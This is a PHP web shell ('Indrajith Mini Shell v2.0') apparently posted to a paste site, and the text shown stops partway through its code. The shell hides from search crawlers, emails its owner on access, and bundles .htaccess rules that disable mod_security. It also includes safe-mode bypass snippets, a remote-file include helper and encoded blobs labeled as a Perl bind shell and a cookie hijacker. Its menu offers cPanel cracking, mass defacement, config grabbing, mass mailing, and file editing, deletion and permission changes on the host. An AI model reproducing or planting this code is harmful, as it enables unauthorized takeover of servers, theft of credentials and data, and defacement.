Indrajith v2 - Shells-Center.Com

SUBMITTED BY: Guest

DATE: Sept. 6, 2014, 7:24 a.m.

FORMAT: PHP

SIZE: 102.5 kB

Raw Download

HITS: 562

Report
  1. <?php
  3. /*
  4. * Indrajith Mini Shell v.2.0 with additional features....
  5. * originally scripted by AJITH KP
  6. * (c) Under Gnu General Public Licence 3(c)
  7. * Team Open Fire and Indishell Family
  8. * TOF : Shritam Bhowmick, Null | Void, Alex, Ankit Sharma,John.
  9. * Indishell : ASHELL, D@rkwolf.
  10. * THA : THA RUDE [There is Nothing in Borders]
  11. * Love to : AMSTECK ARTS & SCIENCE COLLEGE, Kalliassery; Vishnu Nath KP, Sreeju, Sooraj, Komputer Korner Friends.
  12. */
  14. /*------------------ LOGIN -------------------*/
  16. $username="ajithkp560";
  17. $password="ajithkp560";
  18. $email="ajithkp560@gmail.com";
  21. /*------------------ Login Data End ----------*/
  23. @error_reporting(4);
  25. /*------------------ Anti Crawler ------------*/
  26. if(!empty($_SERVER['HTTP_USER_AGENT']))
  27. {
  28. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  29. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT']))
  30. {
  31. header('HTTP/1.0 404 Not Found');
  32. exit;
  33. }
  34. }
  35. echo "<meta name=\"ROBOTS\" content=\"NOINDEX, NOFOLLOW\" />"; //For Ensuring... Fuck all Robots...
  36. /*------------------ End of Anti Crawler -----*/
  40. echo "<link href=data:image/gif;base64,R0lGODlhEAAQAPcAADGcADmcADmcCEKcEEKlEEqlGEqlIVKlIVKtIVKtKVqtMWO1OWu1Qmu1SnO1SnO9SnO9Unu9WoS9Y4TGY4zGa4zGc5TGc5TOc5TOe5zOe5zOhK3WlLXepb3ercbntcbnvc7nvc7nxtbvzt7vzt7v1uf33u/35+/37/f37/f/9///9////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////ywAAAAAEAAQAAAIxwA7ABhIsGBBgQEAJAwwgIGEBQojEhQwcIEFDRUUUCS4UCEEjAc2RhQJoIGGCAIERODQQOLAAAc0SABwgEMIDgoSShQgAcMAAx08OBCgEYDImA0CbPiwoICHFBIoDogAwAGGAgpCVBggYgUHAwU2nFgBQEIFARVAGNCwAkNVEytCzKwwc0MHASVICHCQ4gTKgRJaVtAgQAQGBSdMJCDZ0WiADyoYAOCg4eVAkQpWCBRgIoTOjTotrHAwECwAgZYpdkBRQGKHgAAAOw== rel=icon type=image/x-icon />";
  41. echo "<style>
  42. html { background:url(http://www.ajithkp560.hostei.com/images/background.gif) black; }
  43. #loginbox { font-size:11px; color:green; width:1200px; height:200px; border:1px solid #4C83AF; background-color:#111111; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }
  44. input { font-size:11px; background:#191919; color:green; margin:0 4px; border:1px solid #222222; }
  45. loginbox td { border-radius:5px; font-size:11px; }
  46. .header { size:25px; color:green; }
  47. h1 { font-family:DigifaceWide; color:green; font-size:200%; }
  48. h1:hover { text-shadow:0 0 20px #00FFFF, 0 0 100px #00FFFF; }
  49. .go { height: 50px; width: 50px;float: left; margin-right: 10px; display: none; background-color: #090;}
  50. .input_big { width:75px; height:30px; background:#191919; color:green; margin:0 4px; border:1px solid #222222; font-size:17px; }
  51. hr { border:1px solid #222222; }
  52. #meunlist { width: auto; height: auto; font-size: 12px; font-weight: bold; }
  53. #meunlist ul { padding-top: 5px; padding-right: 5px; padding-bottom: 7px; padding-left: 2px; text-align:center; list-style-type: none; margin: 0px; }
  54. #meunlist li { margin: 0px; padding: 0px; display: inline; }
  55. #meunlist a { font-size: 14px; text-decoration:none; font-weight: bold;color:green;clear: both;width: 100px;margin-right: -6px; padding-top: 3px; padding-right: 15px; padding-bottom: 3px; padding-left: 15px; }
  56. #meunlist a:hover { background: #333; color:green; }
  57. .menubar {-moz-border-radius: 10px; border-radius: 10px; border:1px solid green; padding:4px 8px; line-height:16px; background:#111111; color:#aaa; margin:0 0 8px 0; }
  58. .menu { font-size:25px; color: }
  59. .textarea_edit { background-color:#111111; border:1px groove #333; color:green; }
  60. .textarea_edit:hover { text-decoration:none; border:1px dashed #333; }
  61. .input_butt {font-size:11px; background:#191919; color:#4C83AF; margin:0 4px; border:1px solid #222222;}
  62. #result{ -moz-border-radius: 10px; border-radius: 10px; border:1px solid green; padding:4px 8px; line-height:16px; background:#111111; color:#aaa; margin:0 0 8px 0; min-height:100px;}
  63. .table{ width:100%; padding:4px 0; color:#888; font-size:15px; }
  64. .table a{ text-decoration:none; color:green; font-size:15px; }
  65. .table a:hover{text-decoration:underline;}
  66. .table td{ border-bottom:1px solid #222222; padding:0 8px; line-height:24px; vertical-align:top; }
  67. .table th{ padding:3px 8px; font-weight:normal; background:#222222; color:#555; }
  68. .table tr:hover{ background:#181818; }
  69. .tbl{ width:100%; padding:4px 0; color:#888; font-size:15px; text-align:center; }
  70. .tbl a{ text-decoration:none; color:green; font-size:15px; vertical-align:middle; }
  71. .tbl a:hover{text-decoration:underline;}
  72. .tbl td{ border-bottom:1px solid #222222; padding:0 8px; line-height:24px; vertical-align:middle; width: 300px; }
  73. .tbl th{ padding:3px 8px; font-weight:normal; background:#222222; color:#555; vertical-align:middle; }
  74. .tbl td:hover{ background:#181818; }
  75. #alert {position: relative;}
  76. #alert:hover:after {background: hsla(0,0%,0%,.8);border-radius: 3px;color: #f6f6f6;content: 'Click to dismiss';font: bold 12px/30px sans-serif;height: 30px;left: 50%;margin-left: -60px;position: absolute;text-align: center;top: 50px; width: 120px;}
  77. #alert:hover:before {border-bottom: 10px solid hsla(0,0%,0%,.8);border-left: 10px solid transparent;border-right: 10px solid transparent;content: '';height: 0;left: 50%;margin-left: -10px;position: absolute;top: 40px;width: 0;}
  78. #alert:target {display: none;}
  79. .alert_red {animation: alert 1s ease forwards;background-color: #c4453c;background-image: linear-gradient(135deg, transparent,transparent 25%, hsla(0,0%,0%,.1) 25%,hsla(0,0%,0%,.1) 50%, transparent 50%,transparent 75%, hsla(0,0%,0%,.1) 75%,hsla(0,0%,0%,.1));background-size: 20px 20px;box-shadow: 0 5px 0 hsla(0,0%,0%,.1);color: #f6f6f6;display: block;font: bold 16px/40px sans-serif;height: 40px;position: absolute;text-align: center;text-decoration: none;top: -5px;width: 100%;}
  80. .alert_green {animation: alert 1s ease forwards;background-color: #43CD80;background-image: linear-gradient(135deg, transparent,transparent 25%, hsla(0,0%,0%,.1) 25%,hsla(0,0%,0%,.1) 50%, transparent 50%,transparent 75%, hsla(0,0%,0%,.1) 75%,hsla(0,0%,0%,.1));background-size: 20px 20px;box-shadow: 0 5px 0 hsla(0,0%,0%,.1);color: #f6f6f6;display: block;font: bold 16px/40px sans-serif;height: 40px;position: absolute;text-align: center;text-decoration: none;top: -5px;width: 100%;}
  81. @keyframes alert {0% { opacity: 0; }50% { opacity: 1; }100% { top: 0; }}
  82. </style>";
  83. if($_COOKIE["user"] != $username && $_COOKIE["pass"] != md5($password))
  84. {
  85. if($_POST["usrname"]==$username && $_POST["passwrd"]==$password)
  86. {
  87. print'<script>document.cookie="user='.$_POST["usrname"].';";document.cookie="pass='.md5($_POST["passwrd"]).';";</script>';
  88. if($email!="")
  89. {
  90. mail_alert();
  91. }
  92. }
  93. else
  94. {
  95. if($_POST['usrname'])
  96. {
  97. print'<script>alert("Sorry... Wrong UserName/PassWord");</script>';
  98. }
  99. echo '<title>INDRAJITH SHELL v.2.0</title><center>
  100. <div id=loginbox><p><font face="verdana,arial" size=-1>
  101. <font color=orange>>>>>>>>>>></font><font color=white>>>>>><<<<<</font><font color=green>>>>>>>>>>></font>
  102. <center><table cellpadding=\'2\' cellspacing=\'0\' border=\'0\' id=\'ap_table\'>
  103. <tr><td bgcolor="green"><table cellpadding=\'0\' cellspacing=\'0\' border=\'0\' width=\'100%\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>INDRAJITH SHELL v.2.0</b></font></th></tr>
  104. <tr><td bgcolor="black" style="padding:5">
  105. <form method="post">
  106. <input type="hidden" name="action" value="login">
  107. <input type="hidden" name="hide" value="">
  108. <center><table>
  109. <tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" value="username" onfocus="if (this.value == \'username\'){this.value = \'\';}"></td></tr>
  110. <tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="passwrd" value="password" onfocus="if (this.value == \'password\') this.value = \'\';"></td></tr>
  111. <tr><td><font face="verdana,arial" size=-1>&nbsp;</font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Enter"></font></td></tr></table>
  112. </div><br /></center>';
  113. exit;
  114. }
  115. }
  117. $color_g="green";
  118. $color_b="4C83AF";
  119. $color_bg="#111111";
  120. $color_hr="#222";
  121. $color_wri="green";
  122. $color_rea="yellow";
  123. $color_non="red";
  124. $path=$_GET['path'];
  126. @session_start();
  127. @set_time_limit(0);
  128. @ini_restore("safe_mode_include_dir");
  129. @ini_restore("safe_mode_exec_dir");
  130. @ini_restore("disable_functions");
  131. @ini_restore("allow_url_fopen");
  132. @ini_restore("safe_mode");
  133. @ini_restore("open_basedir");
  134. @ignore_user_abort(FALSE);
  135. @ini_set('zlib.output_compression','Off');
  136. $safemode=@ini_get('safe_mode');
  138. $sep="/";
  139. if(strtolower(substr(PHP_OS,0,3))=="win")
  140. {
  141. $os="win";
  142. $sep="\\";
  143. $ox="Windows";
  144. }
  145. else
  146. {
  147. $os="nix";
  148. $ox="Linux";
  149. }
  153. $self=$_SERVER['PHP_SELF'];
  154. $srvr_sof=$_SERVER['SERVER_SOFTWARE'];
  155. $your_ip=$_SERVER['REMOTE_ADDR'];
  156. $srvr_ip=$_SERVER['SERVER_ADDR'];
  157. $admin=$_SERVER['SERVER_ADMIN'];
  159. $s_php_ini="safe_mode=OFF
  160. disable_functions=NONE";
  162. $ini_php="<?
  163. echo ini_get(\"safe_mode\");
  164. echo ini_get(\"open_basedir\");
  165. include(\$_GET[\"file\"]);
  166. ini_restore(\"safe_mode\");
  167. ini_restore(\"open_basedir\");
  168. echo ini_get(\"safe_mode\");
  169. echo ini_get(\"open_basedir\");
  170. include(\$_GET[\"ss\"]);
  171. ?>";
  173. $s_htaccess="<IfModule mod_security.c>
  174. Sec------Engine Off
  175. Sec------ScanPOST Off
  176. </IfModule>";
  178. $s_htaccess_pl="Options FollowSymLinks MultiViews Indexes ExecCGI
  179. AddType application/x-httpd-cgi .sh
  180. AddHandler cgi-script .pl
  181. AddHandler cgi-script .pl";
  183. $sym_htaccess="Options all
  184. DirectoryIndex Sux.html
  185. AddType text/plain .php
  186. AddHandler server-parsed .php
  187. AddType text/plain .html
  188. AddHandler txt .html
  189. Require None
  190. Satisfy Any";
  192. $sym_php_ini="safe_mode=OFF
  193. disable_functions=NONE";
  195. $forbid_dir="Options -Indexes";
  197. $cookie_highjacker="rVVdc5pAFH13xv9wh3Eipq22M3miasaJGGmNWsS2mU6HQVyEFlnCLkk7If+9d8EPCKFtpuVB2d1z7z177gf1Wvc8dMN6rXP6av/AJQlIZHGyBouBBaEVcaAOaNOhPninGWNYjNXJBMKIfiM2h53Zaadec+LA5h4N0AXX5nKrXruv1wAfzwF5QzgJbmVpbBhz82KiqVPD1OZSC05OgPHIthixt2El7CVIcfA9oHeB1GplXnfOxdPwQuhBle3bDPiQ/RGfkTKjz+Zopn8a6EN1KN5+z6sEfja7koc/cNTVq5mhmoPhsJpaAfMcRgXDCiIeY4TLDXOh6h9V/UszZ9P8mjKqOHtEtgL1N3QrTMuEK+wPEYoWEeFxFMiIEXd/yJWxTzdDi1u5QkbQhG56kk0Dx9vE2CaIY23+g++dNmxKv3ukQPfDUtWvzYWha9PLA99GRDYe4yQyNz5dWT5DE3lFqd8CL/BMzI3cPEJSRHOfHJGQkn2rmNWCSHvDNJ0ZbNejeHDgszVDis3+hNLzmW4cmccMo1obEhSxaWEvcWUOLrH1cje9YdzcEu7SdcHgSjXGs2Feka3pUvYkg/FskfdIHBKRqBxeV0eqrh6rorHGSdYTPyBLPqwXYpSN4BpcxVMYDA713sBk9xwakkCWsixLWJPWC+mokFA9RNXNrcVtV5Y6K5dvVx0PgZlFC5IESgi/ACkXtxPGnMkiPgbU5kqanwSE5EouKwkICZScSgkMRA6UQkISyFRVirIngMooR+ESGA4M9R4UeMg0wp2L2ey9pirHGu6uov5TA+F/XuGf7pBeQqm+QBA8pu/YPmUkpbrr9kOT45LYLgWpXuuKtPW7LrHWfVxxj/ukf/b6DKaUw4jGwbrbyTbxtJPCuiu6/imW7pt+DoUr3Av7hktw0NzEhIkP61KfgNQuFDnOiIVhLnUNJ2Zbgjv89gboxhFuAGcRdz0GKNEtidrdTpgGTkOKwXOOy18=";
  198. $bind_perl="rZJdb5swFIavi8R/OHXTFSSmZJu2i0abxAjtWApEQLtNVYUoOK1VgimmmqIq/30+dpKmmna1+Aq/7/Fzvjg6HD6JbnjLmmFLuxre/jYN0zjax5EY+P+jMee0oV3R0woKAQW0RdcDn0MQTRL3e5B9g5A1DNJ7WtfwdQlKm84+fhrBdRaf3Wwwe6lmP7MxjSdBIeXlA+3H+uLxZs7u5GXAhcr2GQZae+aiKRZ0hV7Lu/5AOm5yfnU9ulFSx3sutTvaq8/bJUZbJ33ZntgYUC4qaZO6rcgYUw/EUvR0gZpavbjXOptbmJs+AgnTH6z58J7YpvFsGgfrF7IkcuzFYTrzvWMYTvHZShFHWK3MozhCtWWlfnLlJw7MzvIg8jMH0tib5mmW+G7ogC7bBt5BxSgQ/eh0cIhQQXu88/aFksYXOQI0KE/8y9R3JxPptEX5YJGaOPDO3uFtEaegobLVaotDr6iqLmeNpYbqyN8Jebkb/drB4KMNoGZyCM1ORaH704uj6CVaR2ziTWPOO2ssW8VMckJFWVLZkncR+BG2oUD2GMqa4w+g5PXEeYuZskkQOUC+vNEewXVurfgy+6fnJ8lfnt6htd6lklRineb1XbJfCxKIwuoP";
  200. /*----------------------- Top Menu ------------------------------------------*/
  202. if($safemode=="On")
  203. {
  204. echo "<div id='alert'><a class=\"alert_red\" href=\"#alert\">Safe Mode : <font color=green>ON</font></a></div>";
  205. }
  206. else
  207. {
  208. echo "<div id='alert'><a class=\"alert_green\" href=\"#alert\">Safe Mode : <font color=red>OFF</font></a></div>";
  209. }
  211. echo "<script src=\"http://code.jquery.com/jquery-latest.js\"></script><script>$(\"#alert\").delay(3000).fadeOut(300);</script>";
  213. echo "<title>INDRAJITH SHELL v.2.0</title><div id=result>
  214. <table>
  215. <tbody>
  216. <tr>
  217. <td style='border-right:1px solid #104E8B;' width=\"300px;\">
  218. <div style='text-align:center;'>
  219. <a href='?' style='text-decoration:none;'><h1>INDRAJITH</h1></a><font color=blue>MINI SHELL</font>
  220. </div>
  221. </td>
  222. <td>
  223. <div class=\"header\">OS</font> <font color=\"#666\" >:</font>
  224. ".$ox." </font> <font color=\"#666\" >|</font> ".php_uname()."<br />
  225. Your IP : <font color=red>".$your_ip."</font> <font color=\"#666\" >|</font> Server IP : <font color=red>".$srvr_ip."</font> <font color=\"#666\" > | </font> Admin <font color=\"#666\" > : </font> <font color=red> {$admin} </font> <br />
  226. MySQL <font color=\"#666\" > : </font>"; echo mysqlx();
  227. echo "<font color=\"#666\" > | </font> Oracle <font color=\"#666\" > : </font>"; echo oraclesx();
  228. echo "<font color=\"#666\" > | </font> MSSQL <font color=\"#666\" > : </font>"; echo mssqlx();
  229. echo "<font color=\"#666\" > | </font> PostGreySQL <font color=\"#666\" > : </font>";echo postgreyx();
  230. echo "<br />cURL <font color=\"#666\" > : </font>";echo curlx();
  231. echo "<font color=\"#666\" > | </font>Total Space<font color=\"#666\" > : </font>"; echo disc_size();
  232. echo "<font color=\"#666\" > | </font>Free Space<font color=\"#666\" > : </font>"; echo freesize();
  233. echo "<br />Software<font color=\"#666\" > : </font><font color=red>{$srvr_sof}</font><font color=\"#666\" > | </font> PHP<font color=\"#666\" > : </font><a style='color:red; text-decoration:none;' target=_blank href=?phpinfo>".phpversion()."</a>
  234. <br />Disabled Functions<font color=\"#666\" > : </font></font><font color=red>";echo disabled_functns()."</font><br />";
  235. if($os == 'win'){ echo "Drives <font color=\"#666\" > : </font>";echo drivesx(); }
  236. else { echo "r00t Exploit <font color=\"#666\" > : </font><font color=red>"; echo r00t_exploit() ."</font>"; }
  237. echo "
  238. </div>
  239. </td>
  240. </tr>
  241. </tbody>
  242. </table></div>";
  243. echo "<div class='menubar'> <div id=\"meunlist\">
  244. <ul>
  245. <li><a href=\"?\">HOME</a></li>
  246. <li><a href=\"?symlink\">SymLink</a></li>
  247. <li><a href=\"?rs\">((( Connect )))</a></li>
  248. <li><a href=\"?cookiejack\">Cookie HighJack</a></li>
  249. <li><a href=\"?encodefile\">PHP Encode/Decode</a></li>
  250. <li><a href=\"?path={$path}&safe_mod\">Safe Mode Fucker</a></li>
  251. <li><a href=\"?path={$path}&forbd_dir\">Directory Listing Forbidden</a></li>
  252. </ul>
  253. <ul>
  254. <li><a href=\"?massmailer\">Mass Mailer</a></li>
  255. <li><a href=\"?cpanel_crack\">CPANEL Crack</a></li>
  256. <li><a href=\"?server_exploit_details\">Exploit Details</a></li>
  257. <li><a href=\"?remote_server_scan\">Remote Server Scan</a></li>
  258. <li><a href=\"?remotefiledown\">Remote File Downloader</a></li>
  259. <li><a href=\"?hexenc\">Hexa Encode/Decode</a></li>
  260. </ul>
  261. <ul>
  262. <li><a href=\"?sh311_scanner\">SH3LL Scan</a></li>
  263. <li><a href=\"?sshman\">SSH Shell</a></li>
  264. <li><a href=\"?path={$path}&c0de_inject\">c0de inj3ct</a></li>
  265. <li><a href=\"?ftpman\">FTP Manager</a></li>
  266. <li><a href=\"?ftp_anon_scan\">FTP Anonymous Access Scan</a></li>
  267. <li><a href=\"?path={$path}&mass_xploit\">Mass Deface</a></li>
  268. <li><a href=\"?config_grab\">Config Grabber</a></li>
  269. <li><a href=\"?killme\"><font color=red>Kill Me</font></a></li>
  270. </ul>
  271. </div></div>";
  272. /*----------------------- End of Top Menu -----------------------------------*/
  275. /*--------------- FUNCTIONS ----------------*/
  276. function alert($alert_txt)
  277. {
  278. echo "<script>alert('".$alert_txt."');window.location.href='?';</script>";
  279. }
  281. function disabled_functns()
  282. {
  283. if(!@ini_get('disable_functions'))
  284. {
  285. echo "None";
  286. }
  287. else
  288. {
  289. echo @ini_get('disable_functions');
  290. }
  291. }
  294. function drivesx()
  295. {
  296. foreach(range('A','Z') as $drive)
  297. {
  298. if(is_dir($drive.':\\'))
  299. {
  300. echo "<a style='color:green; text-decoration:none;' href='?path=".$drive.":\\'>[".$drive."]</a>";
  301. }
  302. }
  303. }
  305. function mail_alert()
  306. {
  307. global $email, $your_ip;
  308. $shell_path="http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  309. $content_mail="Hello Master,\n
  310. Your shell in $shell_path is accessed by ".$_SERVER['REMOTE_ADDR'] .". Hope You Enjoy this shell very much.\n
  311. By Indrajith";
  312. mail($email, "Shell Accessed!!!", $content_mail ,"From:indrajith@shell.com");
  313. }
  315. function filesizex($size)
  316. {
  317. if ($size>=1073741824)$size = round(($size/1073741824) ,2)." GB";
  318. elseif ($size>=1048576)$size = round(($size/1048576),2)." MB";
  319. elseif ($size>=1024)$size = round(($size/1024),2)." KB";
  320. else $size .= " B";
  321. return $size;
  322. }
  324. function disc_size()
  325. {
  326. echo filesizex(disk_total_space("/"));
  327. }
  329. function freesize()
  330. {
  331. echo filesizex(disk_free_space("/"));
  332. }
  334. function file_perm($filz){
  335. if($m=fileperms($filz)){
  336. $p='';
  337. $p .= ($m & 00400) ? 'r' : '-';
  338. $p .= ($m & 00200) ? 'w' : '-';
  339. $p .= ($m & 00100) ? 'x' : '-';
  340. $p .= ($m & 00040) ? 'r' : '-';
  341. $p .= ($m & 00020) ? 'w' : '-';
  342. $p .= ($m & 00010) ? 'x' : '-';
  343. $p .= ($m & 00004) ? 'r' : '-';
  344. $p .= ($m & 00002) ? 'w' : '-';
  345. $p .= ($m & 00001) ? 'x' : '-';
  346. return $p;
  347. }
  348. else return "?????";
  349. }
  352. function mysqlx()
  353. {
  354. if(function_exists('mysql_connect'))
  355. {
  356. echo "<font color='red'>Enabled</font>";
  357. }
  358. else
  359. {
  360. echo "<font color='green'>Disabled</font>";
  361. }
  362. }
  364. function oraclesx()
  365. {
  366. if(function_exists('oci_connect'))
  367. {
  368. echo "<font color='red'>Enabled</font>";
  369. }
  370. else
  371. {
  372. echo "<font color='green'>Disabled</font>";
  373. }
  374. }
  376. function mssqlx()
  377. {
  378. if(function_exists('mssql_connect'))
  379. {
  380. echo "<font color='red'>Enabled</font>";
  381. }
  382. else
  383. {
  384. echo "<font color='green'>Disabled</font>";
  385. }
  386. }
  388. function postgreyx()
  389. {
  390. if(function_exists('pg_connect'))
  391. {
  392. echo "<font color='red'>Enabled</font>";
  393. }
  394. else
  395. {
  396. echo "<font color='green'>Disabled</font>";
  397. }
  398. }
  400. function strip($filx)
  401. {
  402. if(!get_magic_quotes_gpc()) return trim(urldecode($filx));
  403. return trim(urldecode(stripslashes($filx)));
  404. }
  406. function curlx()
  407. {
  408. if(function_exists('curl_version'))
  409. {
  410. echo "<font color='red'>Enabled</font>";
  411. }
  412. else
  413. {
  414. echo "<font color='green'>Disabled</font>";
  415. }
  416. }
  418. function filesize_x($filex)
  419. {
  420. $f_size=filesizex(filesize($filex));
  421. return $f_size;
  422. }
  424. function rename_ui()
  425. {
  426. $rf_path=$_GET['rename'];
  427. echo "<div id=result><center><h2>Rename</h2><hr /><p><br /><br /><form method='GET'><input type=hidden name='old_name' size='40' value=".$rf_path.">New Name : <input name='new_name' size='40' value=".basename($rf_path)."><input type='submit' value=' >>> ' /></form></p><br /><br /><hr /><br /><br /></center></div>";
  428. }
  430. function filemanager_bg()
  431. {
  432. global $sep, $self;
  433. $path=!empty($_GET['path'])?$_GET['path']:getcwd();
  434. $dirs=array();
  435. $fils=array();
  436. if(is_dir($path))
  437. {
  438. chdir($path);
  439. if($handle=opendir($path))
  440. {
  441. while(($item=readdir($handle))!==FALSE)
  442. {
  443. if($item=="."){continue;}
  444. if($item==".."){continue;}
  445. if(is_dir($item))
  446. {
  447. array_push($dirs, $path.$sep.$item);
  448. }
  449. else
  450. {
  451. array_push($fils, $path.$sep.$item);
  452. }
  453. }
  454. }
  455. else
  456. {
  457. alert("Access Denied for this operation!!!");
  458. }
  459. }
  460. else
  461. {
  462. alert("Access Denied for this operation!!!");
  463. }
  464. echo "<div id=result><table class=table>
  465. <tr>
  466. <th width='500px'>Name</th>
  467. <th width='100px'>Size</th>
  468. <th width='100px'>Permissions</th>
  469. <th width='500px'>Actions</th>
  470. </tr>";
  471. foreach($dirs as $dir)
  472. {
  473. echo "<tr><td><a href='{$self}?path={$dir}'>".basename($dir)."</a></td>
  474. <td>".filesize_x($dir)."</td>
  475. <td><a href='{$self}?path={$path}&perm={$dir}'>".file_perm($dir)."</a></td>
  476. <td><a href='{$self}?path={$path}&del_dir={$dir}'>Delete</a> | <a href='{$self}?path={$path}&rename={$dir}'>Rename</a></td></tr>";
  477. }
  478. foreach($fils as $fil)
  479. {
  480. echo "<tr><td><a href='{$self}?path={$path}&read={$fil}'>".basename($fil)."</a></td>
  481. <td>".filesize_x($fil)."</td>
  482. <td><a href='{$self}?path={$path}&perm={$fil}'>".file_perm($fil)."</a></td>
  483. <td><a href='{$self}?path={$path}&del_fil={$fil}'>Delete</a> | <a href='{$self}?path={$path}&rename={$fil}'>Rename</a> | <a href='{$self}?path={$path}&edit={$fil}'>Edit</a> | <a href='{$self}?path={$path}&copy={$fil}'>Copy</a> </td>";
  484. }
  485. echo "</tr></table></div>";
  486. }
  488. function rename_bg()
  489. {
  490. if(isset($_GET['old_name']) && isset($_GET['new_name']))
  491. {
  492. $o_r_path=basename($_GET['old_name']);
  493. $r_path=str_replace($o_r_path, "", $_GET['old_name']);
  494. $r_new_name=$r_path.$_GET['new_name'];
  495. echo $r_new_name;
  496. if(rename($_GET['old_name'], $r_new_name)==FALSE)
  497. {
  498. alert("Access Denied for this action!!!");
  499. }
  500. else
  501. {
  502. alert("Renamed File Succeessfully");
  503. }
  504. }
  505. }
  507. function edit_file()
  508. {
  509. $path=$_GET['path'];
  510. chdir($path);
  511. $edt_file=$_GET['edit'];
  512. $e_content = wordwrap(htmlspecialchars(file_get_contents($edt_file)));
  513. if($e_content)
  514. {
  515. $o_content=$e_content;
  516. }
  517. else if(function_exists('fgets') && function_exists('fopen') && function_exists('feof'))
  518. {
  519. $fd = fopen($edt_file, "rb");
  520. if(!$fd)
  521. {
  522. alert("Permission Denied");
  523. }
  524. else
  525. {
  526. while(!feof($fd))
  527. {
  528. $o_content=wordwrap(htmlspecialchars(fgets($fd)));
  529. }
  530. }
  531. fclose($fd);
  532. }
  533. echo "<div id='result'><center><h2>Edit File</h2><hr /></center><br /><font color=red>View File</font> : <font color=green><a style='text-decoration:none; color:green;' href='?read=".$_GET['edit']."'>". basename($_GET['edit']) ."</a><br /><br /><hr /><br /></font><form method='POST'><input type='hidden' name='e_file' value=".$_GET['edit'].">
  534. <center><textarea spellcheck='false' class='textarea_edit' name='e_content_n' cols='80' rows='25'>".$o_content."</textarea></center><hr />
  535. <input class='input_big' name='save' type='submit' value=' Save ' /><br /><br /><hr /><br /><br /></div>";
  536. }
  537. function edit_file_bg()
  538. {
  539. if(file_exists($_POST['e_file']))
  540. {
  541. $handle = fopen($_POST['e_file'],"w+");
  542. if (!handle)
  543. {
  544. alert("Permission Denied");
  545. }
  546. else
  547. {
  548. fwrite($handle,$_POST['e_content_n']);
  549. alert("Your changes were Successfully Saved!");
  550. }
  551. fclose($handle);
  552. }
  553. else
  554. {
  555. alert("File Not Found!!!");
  556. }
  557. }
  558. function delete_file()
  559. {
  560. $del_file=$_GET['del_fil'];
  561. if(unlink($del_file) != FALSE)
  562. {
  563. alert("Deleted Successfully");
  564. exit;
  565. }
  566. else
  567. {
  568. alert("Access Denied for this Operation");
  569. exit;
  570. }
  571. }
  572. function deldirs($d_dir)
  573. {
  574. $d_files= glob($d_dir.'*', GLOB_MARK);
  575. foreach($d_files as $d_file)
  576. {
  577. if(is_dir($d_file))
  578. {
  579. deldirs($d_file);
  580. }
  581. else
  582. {
  583. unlink($d_file);
  584. }
  585. }
  586. if(is_dir($d_dir))
  587. {
  588. if(rmdir($d_dir))
  589. {
  590. alert("Deleted Directory Successfully");
  591. }
  592. else
  593. {
  594. alert("Access Denied for this Operation");
  595. }
  596. }
  597. }
  599. function code_viewer()
  600. {
  601. $path=$_GET['path'];
  602. $r_file=$_GET['read'];
  603. $r_content = wordwrap(htmlspecialchars(file_get_contents($r_file)));
  604. if($r_content)
  605. {
  606. $rr_content=$r_content;
  607. }
  608. else if(function_exists('fgets') && function_exists('fopen') && function_exists('feof'))
  609. {
  610. $fd = fopen($r_file, "rb");
  611. if (!$fd)
  612. {
  613. alert("Permission Denied");
  614. }
  615. else
  616. {
  617. while(!feof($fd))
  618. {
  619. $rr_content=wordwrap(htmlspecialchars(fgets($fd)));
  620. }
  621. }
  622. fclose($fd);
  623. }
  624. echo "<div id=result><center><h2>View File</h2></center><hr /><br /><font color=red>Edit File</font><font color=green> : </font><font color=#999><a style='text-decoration:none; color:green;' href='?path={$path}&edit=".$_GET['read']."'>". basename($_GET['read']) ."</a></font><br /><br /><hr /><pre><code>".$rr_content."</code></pre><br /><br /><hr /><br /><br /></div>";
  625. }
  626. function copy_file_ui()
  627. {
  628. echo "<div id=result><center><h2>Copy File</h2><hr /><br /><br /><table class=table><form method='GET'><tr><td style='text-align:center;'>Copy : <input size=40 name='c_file' value=".$_GET['copy']." > To : <input size=40 name='c_target' value=".$_GET['path'].$sep."> Name : <input name='cn_name'><input type='submit' value=' >> ' /></form></table><br /><br /><hr /><br /><br /><br /></center></div>";
  629. }
  630. function copy_file_bg()
  631. {
  632. global $sep;
  633. if(function_exists(copy))
  634. {
  635. if(copy($_GET['c_file'], $_GET['c_target'].$sep.$_GET['cn_name']))
  636. {
  637. alert("Succeded");
  638. }
  639. else
  640. {
  641. alert("Access Denied");
  642. }
  643. }
  644. }
  645. function ch_perm_bg()
  646. {
  647. if(isset($_GET['p_filex']) && isset($_GET['new_perm']))
  648. {
  649. if(chmod($_GET['p_filex'], $_GET['new_perm']) !=FALSE)
  650. {
  651. alert("Succeded. Permission Changed!!!");
  652. }
  653. else
  654. {
  655. alert("Access Denied for This Operation");
  656. }
  657. }
  658. }
  659. function ch_perm_ui()
  660. {
  661. $p_file=$_GET['perm'];
  662. echo "<div id =result><center><h2>New Permission</h2><hr /><p><form method='GET'><input type='hidden' name='path' value=".getcwd()." ><input name='p_filex' type=hidden value={$p_file} >New Permission : <input name='new_perm' isze='40' value=0".substr(sprintf('%o', fileperms($p_file)), -3)."><input type='submit' value=' >> ' /></form></p><p>Full Access : <font color=red>755</font><br />Notice : <font color=red>Don't use Unix Access like 777, 666, etc. Use 755, 655, etc</p><br /><br /><hr /><br /><br /></center></div>";
  663. ch_perm_bg();
  664. }
  665. function mk_file_ui()
  666. {
  667. chdir($_GET['path']);
  668. echo "<div id=result><br /><br /><font color=red><form method='GET'>
  669. <input type='hidden' name='path' value=".getcwd().">
